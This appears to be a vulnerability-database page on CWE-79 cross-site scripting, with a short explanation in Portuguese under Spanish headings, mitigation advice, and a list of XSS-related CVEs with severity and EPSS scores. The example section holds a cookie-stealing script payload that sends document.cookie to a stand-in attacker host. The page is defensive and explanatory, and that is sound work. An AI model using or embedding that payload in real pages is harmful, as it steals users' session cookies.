Fallos del tipo CWE-79

30.193 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-18099HIGHIBM i is Affected By Multiple Vulnerabilities in Navigator for iEPSS 0.3%CVE-2024-21897HIGHQTS, QuTS heroEPSS 0.3%CVE-2025-23767MEDIUMWordPress Marmoset Viewer plugin <= 1.9.3 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-9853MEDIUMID-SK Toolkit <= 1.7.2 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-7590MEDIUMWordPress Spectra plugin<= 2.14.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-10179MEDIUMSlickstream: Engagement and Conversions <= 1.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via slick-grid ShortcodeEPSS 0.3%CVE-2026-27639HIGHMercator vulnerable to stored XSS via unescaped Blade directives in display templatesEPSS 0.3%CVE-2025-3097MEDIUMwp Time Machine <= 3.4.0 - Cross-Site Request Forgery to Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-48914HIGHCOOKiES Consent Management - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-075EPSS 0.3%CVE-2024-47772MEDIUMCross-site Scripting (XSS) via chat excerpts when content security policy (CSP) disabled in DiscourseEPSS 0.3%CVE-2025-6977MEDIUMProfileGrid – User Profiles, Groups and Communities <= 5.9.5.4 - Reflected Cross-Site Scripting via 'pm_get_messenger_notification' functionEPSS 0.3%CVE-2024-11905MEDIUMAnimated Counters <= 2.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-76475CRITICALCisco Unified Communications Products Hardening Release: October 2026 - Cross-site Scripting VulnerabilitiesEPSS 0.3%CVE-2026-4142MEDIUMSentence To SEO (keywords, description and tags) <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Permanent keywords' FieldEPSS 0.3%CVE-2024-12493MEDIUMFiles Download Delay <= 1.0.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-41354HIGHphpipam 1.6 is vulnerable to Cross Site Scripting (XSS) via /app/admin/widgets/edit.phpEPSS 0.3%CVE-2024-46996MEDIUMbaserCMS has a Cross-site Scripting (XSS) Vulnerability in Blog posts FeatureEPSS 0.3%CVE-2024-8734MEDIUMLucas String Replace <= 2.0.5 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2024-5611MEDIUMStratum – Elementor Widgets <= 1.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Countdown WidgetEPSS 0.3%CVE-2025-1679MEDIUMCross-site Scripting has been identified in Moxa’s Ethernet switches, which allows an authenticated administrative attacker to inject maliciEPSS 0.3%